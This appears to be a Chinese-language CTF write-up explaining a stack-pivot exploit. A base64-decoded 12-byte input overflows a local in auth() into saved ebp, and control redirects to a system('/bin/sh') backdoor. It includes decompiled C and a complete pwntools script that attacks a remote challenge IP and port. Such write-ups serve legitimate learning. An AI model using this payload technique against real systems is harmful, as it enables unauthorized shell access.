移栈
一个移栈的小题,1:没开pie而且输入的内容放在bss中地址已知,2:程序的correct给了后门,虽然不能直接运行到但可以当后门用,3:auth函数将解码后的input复制到v4,而v4定义是ebp-8当输入大于8里就会溢出到ebp
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+18h] [ebp-28h] BYREF
char s[30]; // [esp+1Eh] [ebp-22h] BYREF
unsigned int v6; // [esp+3Ch] [ebp-4h]
memset(s, 0, sizeof(s));
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
printf("Authenticate : ");
_isoc99_scanf("%30s", s);
memset(&input, 0, 0xCu);
v4 = 0;
v6 = Base64Decode((int)s, &v4); // 输入数据base64解码
if ( v6 > 0xC )
{
puts("Wrong Length");
}
else
{
memcpy(&input, v4, v6);
if ( auth(v6) )
correct();
}
return 0;
}
void __noreturn correct()
{
if ( input == -559038737 )
{
puts("Congratulation! you are good!");
system("/bin/sh");
}
exit(0);
}
_BOOL4 __cdecl auth(int a1)
{
char v2[8]; // [esp+14h] [ebp-14h] BYREF
char *s2; // [esp+1Ch] [ebp-Ch]
int v4; // [esp+20h] [ebp-8h] BYREF
memcpy(&v4, &input, a1); // 将input复制到v4,input最长12,可覆盖到ebp进行移栈
s2 = (char *)calc_md5((int)v2, 12);
printf("hash : %s\n", s2);
return strcmp("f87cd601aa7fedca99018a8be88eda34", s2) == 0;
}
题目本身没有难度,像教学例题一样把溢出,移栈都交代明白了。输入的数据解码后放到input_addr,然后调用auth里将这12字节复制到v4,其中最后4位溢出覆盖到ebp,返回时发生移栈到input_addr再从p32(system_addr)开始执行。
from pwn import *
from base64 import b64encode
p = remote('111.200.241.244', 58100)
system_addr = 0x8049284
input_addr = 0x811eb40
# 覆盖ebp移栈到input_addr
payload = b'AAAA'+ p32(system_addr) + p32(input_addr) #auth() len(input)=12 v4=ebp-8 -> ebp=input_addr
p.sendline(b64encode(payload))
p.interactive()